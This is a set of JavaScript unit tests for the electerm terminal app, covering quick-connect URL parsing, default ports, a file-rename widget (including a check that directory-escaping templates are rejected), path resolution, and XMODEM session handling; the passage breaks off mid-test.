assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 5900)
})
// Test Serial protocol
test('should parse serial://COM1', () => {
const result = parseQuickConnect('serial://COM1')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
})
test('should parse serial://COM1?baudRate=115200', () => {
const result = parseQuickConnect('serial://COM1?baudRate=115200')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
assert.strictEqual(result.baudRate, 115200)
})
test('should parse serial:///dev/ttyUSB0?baudRate=9600', () => {
const result = parseQuickConnect('serial:///dev/ttyUSB0?baudRate=9600')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, '/dev/ttyUSB0')
assert.strictEqual(result.baudRate, 9600)
})
// Test FTP protocol
test('should parse ftp://user@host', () => {
const result = parseQuickConnect('ftp://user@ftp.example.com:21')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.port, 21)
})
test('should parse ftp://user:password@host', () => {
const result = parseQuickConnect('ftp://user:password@ftp.example.com:21')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.password, 'password')
})
test('should parse ftp://ftpuser:ftppass@0.0.0.0:2121', () => {
const result = parseQuickConnect('ftp://ftpuser:ftppass@0.0.0.0:2121')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, '0.0.0.0')
assert.strictEqual(result.user, 'ftpuser')
assert.strictEqual(result.password, 'ftppass')
assert.strictEqual(result.port, 2121)
})
// Test HTTP/HTTPS protocols
test('should parse http://host', () => {
const result = parseQuickConnect('http://192.168.1.100:8080')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://192.168.1.100:8080')
})
test('should parse https://host', () => {
const result = parseQuickConnect('https://192.168.1.100:8443')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://192.168.1.100:8443')
})
test('should parse https://example.com', () => {
const result = parseQuickConnect('https://example.com')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse http://host?query params', () => {
const result = parseQuickConnect('http://example.com?key=value&foo=bar')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://example.com?key=value&foo=bar')
})
test('should parse https://host?title=xxx', () => {
const result = parseQuickConnect('https://example.com?title=MyPage&type=web')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com?title=MyPage&type=web')
})
// Test opts parameter
test('should parse opts with single quotes', () => {
const result = parseQuickConnect("ssh://user@host:22?opts='{\"title\": \"My Server\"}'")
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.title, 'My Server')
})
test('should parse opts with double quotes', () => {
const result = parseQuickConnect('ssh://user@host:22?opts={"title": "My Server"}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.title, 'My Server')
})
test('should parse opts and merge with other params', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?title=MyServer&opts={"title":"MyServer","username":"user","password":"password"}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.title, 'MyServer')
})
// Test sshTunnels via opts
test('should parse sshTunnels from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?opts={"sshTunnels":[{"sshTunnel":"forwardLocalToRemote","sshTunnelLocalPort":8080,"sshTunnelRemoteHost":"localhost","sshTunnelRemotePort":80}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 22)
assert.deepStrictEqual(result.sshTunnels, [{
sshTunnel: 'forwardLocalToRemote',
sshTunnelLocalPort: 8080,
sshTunnelRemoteHost: 'localhost',
sshTunnelRemotePort: 80
}])
})
// Test connectionHoppings via opts
test('should parse connectionHoppings from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?opts={"connectionHoppings":[{"host":"192.168.1.101","port":22,"username":"user2","password":"pass2"}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.deepStrictEqual(result.connectionHoppings, [{
host: '192.168.1.101',
port: 22,
username: 'user2',
password: 'pass2'
}])
})
// Test both sshTunnels and connectionHoppings together
test('should parse both sshTunnels and connectionHoppings from opts', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100?opts={"sshTunnels":[{"sshTunnel":"dynamicForward","sshTunnelLocalPort":1080}],"connectionHoppings":[{"host":"jump.host","port":22,"username":"jumper"}]}')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.sshTunnels.length, 1)
assert.strictEqual(result.sshTunnels[0].sshTunnel, 'dynamicForward')
assert.strictEqual(result.sshTunnels[0].sshTunnelLocalPort, 1080)
assert.strictEqual(result.connectionHoppings.length, 1)
assert.strictEqual(result.connectionHoppings[0].host, 'jump.host')
assert.strictEqual(result.connectionHoppings[0].username, 'jumper')
})
// Test SSH default values (enableSsh, enableSftp, useSshAgent, term, encode, envLang)
test('should add default values for SSH type', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.enableSsh, true)
assert.strictEqual(result.enableSftp, true)
assert.strictEqual(result.useSshAgent, true)
assert.strictEqual(result.term, 'xterm-256color')
assert.strictEqual(result.encode, 'utf-8')
assert.strictEqual(result.envLang, 'en_US.UTF-8')
})
// Test VNC default values
test('should add default values for VNC type', () => {
const result = parseQuickConnect('vnc://192.168.1.100')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.scaleViewport, true)
})
// Test RDP default values
test('should add default values for RDP type', () => {
const result = parseQuickConnect('rdp://192.168.1.100')
assert.strictEqual(result.type, 'rdp')
})
// Test Serial default values
test('should add default values for Serial type', () => {
const result = parseQuickConnect('serial://COM1')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.baudRate, 9600)
assert.strictEqual(result.dataBits, 8)
assert.strictEqual(result.stopBits, 1)
assert.strictEqual(result.parity, 'none')
})
// Test Telnet default port
test('should add default port for Telnet type', () => {
const result = parseQuickConnect('telnet://192.168.1.1')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.port, 23)
})
// Test with title query param
test('should parse title from query param', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100:22?title=MyServer')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.title, 'MyServer')
})
// Test trailing slash support
test('should parse ssh://user@host/ with trailing slash', () => {
const result = parseQuickConnect('ssh://user@192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse ssh://user:password@host:port/ with trailing slash', () => {
const result = parseQuickConnect('ssh://user:password@192.168.1.100:22/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
assert.strictEqual(result.port, 22)
})
test('should parse ssh://host:port/ with trailing slash', () => {
const result = parseQuickConnect('ssh://192.168.1.100:2222/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
test('should parse ssh://host/ with trailing slash', () => {
const result = parseQuickConnect('ssh://192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse ftp://user@host:port/ with trailing slash', () => {
const result = parseQuickConnect('ftp://user@ftp.example.com:21/')
assert.strictEqual(result.type, 'ftp')
assert.strictEqual(result.host, 'ftp.example.com')
assert.strictEqual(result.user, 'user')
assert.strictEqual(result.port, 21)
})
test('should parse telnet://host/ with trailing slash', () => {
const result = parseQuickConnect('telnet://192.168.1.1/')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
test('should parse vnc://host/ with trailing slash', () => {
const result = parseQuickConnect('vnc://192.168.1.100/')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse https://host/ with trailing slash', () => {
const result = parseQuickConnect('https://example.com/')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse https://host:port/ with trailing slash', () => {
const result = parseQuickConnect('https://example.com:8443/')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com:8443')
})
test('should parse electerm://host/ with trailing slash', () => {
const result = parseQuickConnect('electerm://192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://user@host:port/ with trailing slash', () => {
const result = parseQuickConnect('electerm://user@192.168.1.100:22/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.port, 22)
})
test('should parse host/ shortcut with trailing slash', () => {
const result = parseQuickConnect('192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse user@host/ shortcut with trailing slash', () => {
const result = parseQuickConnect('user@192.168.1.100/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse host:port/ shortcut with trailing slash', () => {
const result = parseQuickConnect('192.168.1.100:2222/')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
test('should parse ssh://host/opts/ with trailing slash before opts', () => {
const result = parseQuickConnect("ssh://user@host:22/?opts='{\"title\": \"My Server\"}'")
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, 'host')
assert.strictEqual(result.title, 'My Server')
})
// Test invalid inputs
test('should return null for unsupported protocol', () => {
const result = parseQuickConnect('unsupported://host')
assert.strictEqual(result, null)
})
test('should return null for invalid format', () => {
// Truly invalid format that can't be parsed
const result = parseQuickConnect('://host')
assert.strictEqual(result, null)
})
test('should handle protocol without host', () => {
const result = parseQuickConnect('ssh://')
assert.strictEqual(result, null)
})
})
describe('getDefaultPort', function () {
test('should return correct default port for ssh', () => {
assert.strictEqual(getDefaultPort('ssh'), 22)
})
test('should return correct default port for telnet', () => {
assert.strictEqual(getDefaultPort('telnet'), 23)
})
test('should return correct default port for vnc', () => {
assert.strictEqual(getDefaultPort('vnc'), 5900)
})
test('should return correct default port for rdp', () => {
assert.strictEqual(getDefaultPort('rdp'), 3389)
})
test('should return correct default port for spice', () => {
assert.strictEqual(getDefaultPort('spice'), 5900)
})
test('should return correct default port for ftp', () => {
assert.strictEqual(getDefaultPort('ftp'), 21)
})
test('should return correct default port for http', () => {
assert.strictEqual(getDefaultPort('http'), 80)
})
test('should return correct default port for https', () => {
assert.strictEqual(getDefaultPort('https'), 443)
})
test('should return undefined for serial', () => {
assert.strictEqual(getDefaultPort('serial'), undefined)
})
})
describe('getSupportedProtocols', function () {
test('should return array of supported protocols', () => {
const protocols = getSupportedProtocols()
assert(Array.isArray(protocols))
assert(protocols.includes('ssh'))
assert(protocols.includes('telnet'))
assert(protocols.includes('vnc'))
assert(protocols.includes('rdp'))
assert(protocols.includes('spice'))
assert(protocols.includes('serial'))
assert(protocols.includes('ftp'))
assert(protocols.includes('http'))
assert(protocols.includes('https'))
})
})
describe('SUPPORTED_PROTOCOLS', function () {
test('should include all expected protocols', () => {
assert(SUPPORTED_PROTOCOLS.includes('ssh'))
assert(SUPPORTED_PROTOCOLS.includes('telnet'))
assert(SUPPORTED_PROTOCOLS.includes('vnc'))
assert(SUPPORTED_PROTOCOLS.includes('rdp'))
assert(SUPPORTED_PROTOCOLS.includes('spice'))
assert(SUPPORTED_PROTOCOLS.includes('serial'))
assert(SUPPORTED_PROTOCOLS.includes('ftp'))
assert(SUPPORTED_PROTOCOLS.includes('http'))
assert(SUPPORTED_PROTOCOLS.includes('https'))
})
})
describe('DEFAULT_PORTS', function () {
test('should have correct default ports', () => {
assert.strictEqual(DEFAULT_PORTS.ssh, 22)
assert.strictEqual(DEFAULT_PORTS.telnet, 23)
assert.strictEqual(DEFAULT_PORTS.vnc, 5900)
assert.strictEqual(DEFAULT_PORTS.rdp, 3389)
assert.strictEqual(DEFAULT_PORTS.spice, 5900)
assert.strictEqual(DEFAULT_PORTS.ftp, 21)
assert.strictEqual(DEFAULT_PORTS.http, 80)
assert.strictEqual(DEFAULT_PORTS.https, 443)
})
test('should have electerm default port', () => {
assert.strictEqual(DEFAULT_PORTS.electerm, 22)
})
})
describe('electerm:// protocol', function () {
// Test electerm:// with default type (ssh)
test('should parse electerm://host (default type ssh)', () => {
const result = parseQuickConnect('electerm://192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://user@host', () => {
const result = parseQuickConnect('electerm://user@192.168.1.100')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.username, 'user')
})
test('should parse electerm://user:password@host:port', () => {
const result = parseQuickConnect('electerm://user:password@192.168.1.100:22')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 22)
assert.strictEqual(result.username, 'user')
assert.strictEqual(result.password, 'password')
})
// Test electerm:// with type query param
test('should parse electerm://host?type=telnet', () => {
const result = parseQuickConnect('electerm://192.168.1.1?type=telnet')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
})
test('should parse electerm://host?type=vnc', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=vnc')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://host?type=rdp', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=rdp')
assert.strictEqual(result.type, 'rdp')
assert.strictEqual(result.host, '192.168.1.100')
})
test('should parse electerm://host?type=serial', () => {
const result = parseQuickConnect('electerm://COM1?type=serial')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
})
test('should parse electerm://host?type=spice', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=spice')
assert.strictEqual(result.type, 'spice')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test electerm:// with tp query param (alias for type)
test('should parse electerm://host?tp=vnc', () => {
const result = parseQuickConnect('electerm://192.168.1.100?tp=vnc')
assert.strictEqual(result.type, 'vnc')
assert.strictEqual(result.host, '192.168.1.100')
})
// Test electerm:// with port
test('should parse electerm://host:port?type=ssh', () => {
const result = parseQuickConnect('electerm://192.168.1.100:2222?type=ssh')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.port, 2222)
})
// Test electerm:// with title query param
test('should parse electerm://host?type=ssh&title=MyServer', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=ssh&title=MyServer')
assert.strictEqual(result.type, 'ssh')
assert.strictEqual(result.host, '192.168.1.100')
assert.strictEqual(result.title, 'MyServer')
})
// Test electerm:// with username and type
test('should parse electerm://user@host:port?type=telnet', () => {
const result = parseQuickConnect('electerm://admin@192.168.1.1:23?type=telnet')
assert.strictEqual(result.type, 'telnet')
assert.strictEqual(result.host, '192.168.1.1')
assert.strictEqual(result.port, 23)
assert.strictEqual(result.username, 'admin')
})
// Test electerm:// with web type
test('should parse electerm://host?type=https', () => {
const result = parseQuickConnect('electerm://example.com?type=https')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'https://example.com')
})
test('should parse electerm://host:port?type=http', () => {
const result = parseQuickConnect('electerm://example.com:8080?type=http')
assert.strictEqual(result.type, 'web')
assert.strictEqual(result.url, 'http://example.com:8080')
})
// Test electerm:// with invalid type
test('should return null for electerm://host?type=invalid', () => {
const result = parseQuickConnect('electerm://192.168.1.100?type=invalid')
assert.strictEqual(result, null)
})
// Test electerm:// with serial baudRate
test('should parse electerm://COM1?type=serial&baudRate=115200', () => {
const result = parseQuickConnect('electerm://COM1?type=serial&baudRate=115200')
assert.strictEqual(result.type, 'serial')
assert.strictEqual(result.path, 'COM1')
assert.strictEqual(result.baudRate, 115200)
})
})
+194
View File
@@ -0,0 +1,194 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
const { listWidgets } = require('../../src/app/widgets/load-widget')
const { widgetRun } = require('../../src/app/widgets/widget-rename')
const fs = require('fs/promises')
const path = require('path')
it.setTimeout(100000)
describe('rename-widget', function () {
let testDir = null
async function createTestFiles () {
testDir = path.join(process.cwd(), 'temp-rename-test-' + Date.now())
await fs.mkdir(testDir)
// Create test files
await fs.writeFile(path.join(testDir, 'file1.txt'), 'Content 1')
await fs.writeFile(path.join(testDir, 'file2.txt'), 'Content 2')
await fs.writeFile(path.join(testDir, 'file3.jpg'), 'Image content')
// Create a subdirectory with a file
const subDir = path.join(testDir, 'subfolder')
await fs.mkdir(subDir)
await fs.writeFile(path.join(subDir, 'subfile.txt'), 'Sub content')
}
async function cleanup () {
if (testDir) {
try {
await fs.rm(testDir, { recursive: true, force: true })
} catch (err) {
console.error('Cleanup error:', err)
}
}
}
it.beforeEach(async () => {
await createTestFiles()
})
it.afterEach(async () => {
await cleanup()
})
it('should have rename widget available', async function () {
const widgets = listWidgets()
expect(Array.isArray(widgets)).toBe(true)
const renameWidget = widgets.find(w => w.id === 'rename')
expect(renameWidget).toBeTruthy()
expect(renameWidget.info.name).toBe('File Renamer')
})
it('should rename files with simple pattern', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-renamed.{ext}',
fileTypes: '*',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(3) // Should rename 3 files in the main directory
// Check if files were renamed correctly
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('file1-renamed.txt')
expect(renamedFiles).toContain('file2-renamed.txt')
expect(renamedFiles).toContain('file3-renamed.jpg')
})
it('should rename with sequential numbers', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: 'myfile-{n:3}.{ext}',
fileTypes: '*',
startNumber: 10,
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('myfile-010.txt')
expect(renamedFiles).toContain('myfile-011.txt')
expect(renamedFiles).toContain('myfile-012.jpg')
})
it('should filter by file type', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-{n}.{ext}',
fileTypes: 'txt',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(2) // Should only rename .txt files
const renamedFiles = await fs.readdir(testDir)
// file3.jpg should remain unchanged
expect(renamedFiles).toContain('file3.jpg')
})
it('should include subfolders when enabled', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{parent}-{name}-{n}.{ext}',
fileTypes: '*',
includeSubfolders: true
})
expect(renameResult.success).toBe(true)
expect(renameResult.totalRenamed).toBe(4) // All files including subfolder file
// Check subfolder file was renamed
const subFiles = await fs.readdir(path.join(testDir, 'subfolder'))
expect(subFiles[0]).toMatch(/subfolder-subfile-\d\.txt/)
})
it('should handle template with dates and random', async function () {
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-{date}-{random}.{ext}',
fileTypes: '*',
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
// Verify that files were renamed with date and random pattern
const renamedFiles = await fs.readdir(testDir)
const datePattern = /\d{4}-\d{2}-\d{2}/
for (const file of renamedFiles) {
// If it's a directory, skip
const stats = await fs.stat(path.join(testDir, file))
if (stats.isDirectory()) continue
// Each renamed file should have a date pattern and a random substring
expect(file).toMatch(datePattern)
expect(file).toMatch(/[a-z0-9]{6}/)
}
})
it('should preserve filename case when enabled', async function () {
// Create a file with mixed case
await fs.writeFile(path.join(testDir, 'MixedCase.txt'), 'Mixed case content')
const renameResult = await widgetRun({
directory: testDir,
template: '{name}-renamed.{ext}',
fileTypes: '*',
preserveCase: true,
includeSubfolders: false
})
expect(renameResult.success).toBe(true)
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('MixedCase-renamed.txt')
})
it('should handle error when directory does not exist', async function () {
const renameResult = await widgetRun({
directory: '/path/that/does/not/exist',
template: '{name}-renamed.{ext}',
fileTypes: '*'
})
expect(renameResult.success).toBe(false)
expect(renameResult.error).toBeTruthy()
})
it('should reject templates that escape the source directory', async function () {
const escapedPath = path.join(path.dirname(testDir), 'escaped-1.txt')
const renameResult = await widgetRun({
directory: testDir,
template: '../escaped-{n}.{ext}',
fileTypes: 'txt',
includeSubfolders: false
})
expect(renameResult.success).toBe(false)
expect(renameResult.error).toContain('path separators')
const renamedFiles = await fs.readdir(testDir)
expect(renamedFiles).toContain('file1.txt')
await expect(fs.stat(escapedPath)).rejects.toThrow()
})
})
+154
View File
@@ -0,0 +1,154 @@
// resolve.spec.js
const { describe, test } = require('node:test')
const assert = require('node:assert/strict')
let resolve
describe('resolve', () => {
test('setup: import ESM module', async () => {
const mod = await import('../../src/client/common/resolve.js')
resolve = mod.default
})
// ── Unix paths ──────────────────────────────────────────────
test('unix: append name to path', () => {
assert.strictEqual(resolve('/foo/bar', 'baz'), '/foo/bar/baz')
})
test('unix: append name to path with trailing slash', () => {
assert.strictEqual(resolve('/foo/bar/', 'baz'), '/foo/bar/baz')
})
test('unix: go up one level', () => {
assert.strictEqual(resolve('/foo/bar', '..'), '/foo')
})
test('unix: go up to root', () => {
assert.strictEqual(resolve('/foo', '..'), '/')
})
test('unix: go up from root stays at root', () => {
assert.strictEqual(resolve('/', '..'), '/')
})
test('unix: append name at root', () => {
assert.strictEqual(resolve('/', 'foo'), '/foo')
})
// ── Windows paths ───────────────────────────────────────────
test('win: append name to drive path', () => {
assert.strictEqual(resolve('C:\\foo\\bar', 'baz'), 'C:\\foo\\bar\\baz')
})
test('win: append name to drive path with trailing slash', () => {
assert.strictEqual(resolve('C:\\foo\\bar\\', 'baz'), 'C:\\foo\\bar\\baz')
})
test('win: go up one level on drive', () => {
assert.strictEqual(resolve('C:\\foo\\bar', '..'), 'C:\\foo')
})
test('win: go up to drive root', () => {
assert.strictEqual(resolve('C:\\foo', '..'), 'C:')
})
test('win: go up from drive root returns /', () => {
assert.strictEqual(resolve('C:\\', '..'), '/')
})
test('win: append name to drive root', () => {
assert.strictEqual(resolve('C:\\', 'foo'), 'C:\\foo')
})
test('win: append name to bare drive', () => {
assert.strictEqual(resolve('C:', 'foo'), 'C:\\foo')
})
// ── Absolute paths in nameOrDot ─────────────────────────────
test('abs: drive path from root', () => {
assert.strictEqual(resolve('/', 'C:\\'), 'C:\\')
})
test('abs: bare drive from root', () => {
assert.strictEqual(resolve('/', 'C:'), 'C:')
})
test('abs: drive path from another path', () => {
assert.strictEqual(resolve('/foo', 'C:\\bar'), 'C:\\bar')
})
test('abs: unix path from win path', () => {
assert.strictEqual(resolve('C:\\foo', '/bar'), '/bar')
})
test('abs: unix path from root', () => {
assert.strictEqual(resolve('/', '/foo'), '/foo')
})
// ── Edge cases ──────────────────────────────────────────────
test('edge: append to drive root', () => {
assert.strictEqual(resolve('C:\\', 'foo'), 'C:\\foo')
})
test('edge: go up from D: root returns /', () => {
assert.strictEqual(resolve('D:\\', '..'), '/')
})
// ── WSL paths (wsl.localhost) ───────────────────────────────
test('wsl: enter distro from root', () => {
assert.strictEqual(resolve('/', '\\\\wsl.localhost\\Ubuntu'), '\\\\wsl.localhost\\Ubuntu')
})
test('wsl: go up from distro root returns /', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', '..'), '/')
})
test('wsl: go up from distro root with trailing slash returns /', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\', '..'), '/')
})
test('wsl: append child to distro root', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', 'home'), '\\\\wsl.localhost\\Ubuntu\\home')
})
test('wsl: go up from child returns distro root', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home', '..'), '\\\\wsl.localhost\\Ubuntu')
})
test('wsl: multi-level up', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home\\user', '..'), '\\\\wsl.localhost\\Ubuntu\\home')
})
test('wsl: append in subdirectory', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home', 'user'), '\\\\wsl.localhost\\Ubuntu\\home\\user')
})
test('wsl: append in subdirectory with trailing slash', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu\\home\\', 'user'), '\\\\wsl.localhost\\Ubuntu\\home\\user')
})
// ── WSL paths (wsl$) ───────────────────────────────────────
test('wsl$: go up from distro root returns /', () => {
assert.strictEqual(resolve('\\\\wsl$\\Ubuntu', '..'), '/')
})
test('wsl$: append child to distro root', () => {
assert.strictEqual(resolve('\\\\wsl$\\Ubuntu', 'home'), '\\\\wsl$\\Ubuntu\\home')
})
// ── WSL cross-path switching ────────────────────────────────
test('wsl: switch to win drive from wsl', () => {
assert.strictEqual(resolve('\\\\wsl.localhost\\Ubuntu', 'C:\\foo'), 'C:\\foo')
})
test('wsl: switch from win drive to wsl', () => {
assert.strictEqual(resolve('C:\\foo', '\\\\wsl.localhost\\Ubuntu'), '\\\\wsl.localhost\\Ubuntu')
})
})
+227
View File
@@ -0,0 +1,227 @@
// xmodem.spec.js
// Unit tests for XmodemSession verifies that the session resets properly
// after a successful send so that normal serial-port I/O resumes.
process.env.NODE_ENV = 'development'
const { describe, it } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const { XmodemSession, XMODEM_STATE } = require('../../src/app/server/xmodem')
// XMODEM control bytes
const SOH = 0x01
const EOT = 0x04
const ACK = 0x06
const CRC = 0x43 // 'C'
/**
* Helper: create a minimal XmodemSession with mock terminal and websocket.
* The mock terminal records all writes; the mock websocket records all
* JSON messages sent to the client.
*/
function createMockSession () {
const written = []
const clientMessages = []
const term = {
writeRaw: (data) => written.push(Buffer.from(data)),
write: (data) => written.push(Buffer.from(data))
}
const ws = {
s: (msg) => clientMessages.push(msg)
}
const session = new XmodemSession(term, ws)
return { session, written, clientMessages, term, ws }
}
/**
* CRC-16/XMODEM calculation (mirrors the one in xmodem.js)
*/
function crc16Xmodem (data) {
let crc = 0
for (let i = 0; i < data.length; i++) {
crc = crc ^ (data[i] << 8)
for (let j = 0; j < 8; j++) {
if (crc & 0x8000) {
crc = (crc << 1) ^ 0x1021
} else {
crc = crc << 1
}
}
crc = crc & 0xFFFF
}
return crc
}
describe('XmodemSession send lifecycle', () => {
it('isActive returns false after send completes (session-end)', async () => {
const { session, clientMessages } = createMockSession()
// Start send
session.startSend()
assert.equal(session.isActive(), true)
// Set up a temp file to send (one 128-byte packet)
const tmpFile = path.join(os.tmpdir(), `xmodem-test-${Date.now()}.bin`)
const fileData = Buffer.alloc(128, 0xAA)
fs.writeFileSync(tmpFile, fileData)
session.setSendFiles([{
name: 'test.bin',
path: tmpFile,
size: 128
}])
// Simulate remote requesting CRC mode
session.handleData(Buffer.from([CRC]))
assert.equal(session.state, XMODEM_STATE.SENDING)
// Simulate remote ACKing the data packet
session.handleData(Buffer.from([ACK]))
// After ACK, sendNextPacket sees file is done → sendEot fires.
// sendEot sends EOT, fires session-end, and calls resetState.
// The state should now be IDLE.
assert.equal(session.state, XMODEM_STATE.IDLE)
assert.equal(session.isActive(), false)
// Verify session-end was sent to client
const sessionEndMsg = clientMessages.find(m => m.event === 'session-end')
assert.ok(sessionEndMsg, 'session-end message should be sent')
// Verify file-complete was sent to client
const fileCompleteMsg = clientMessages.find(m => m.event === 'file-complete')
assert.ok(fileCompleteMsg, 'file-complete message should be sent')
// Cleanup
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('sendEot does not loop when called multiple times (stale ACK)', async () => {
const { session, written } = createMockSession()
session.startSend()
const tmpFile = path.join(os.tmpdir(), `xmodem-test-loop-${Date.now()}.bin`)
fs.writeFileSync(tmpFile, Buffer.alloc(128, 0xBB))
session.setSendFiles([{
name: 'test.bin',
path: tmpFile,
size: 128
}])
// Remote requests CRC mode
session.handleData(Buffer.from([CRC]))
// Remote ACKs the data packet → triggers sendEot internally
session.handleData(Buffer.from([ACK]))
assert.equal(session.state, XMODEM_STATE.IDLE)
// Now simulate a stale ACK arriving after the session is already IDLE.
// Before the fix this would cause sendEot → sendNextPacket → sendEot loop.
const eotCountBefore = written.filter(b => b.length === 1 && b[0] === EOT).length
session.handleData(Buffer.from([ACK]))
const eotCountAfter = written.filter(b => b.length === 1 && b[0] === EOT).length
// No additional EOT should have been sent
assert.equal(eotCountAfter, eotCountBefore, 'no extra EOT on stale ACK')
// State should still be IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('resetState clears timeouts', async () => {
const { session } = createMockSession()
session.startSend()
// startSend sets a receive timeout
assert.ok(session.receiveTimeout, 'receiveTimeout should be set after startSend')
session.resetState()
// After reset, timeouts should be nulled and state should be IDLE
assert.equal(session.receiveTimeout, null)
assert.equal(session.sendTimeout, null)
assert.equal(session.state, XMODEM_STATE.IDLE)
})
it('handleData returns false when session is IDLE (data passes through)', async () => {
const { session } = createMockSession()
// Session starts as IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
// Regular terminal data should NOT be consumed by xmodem
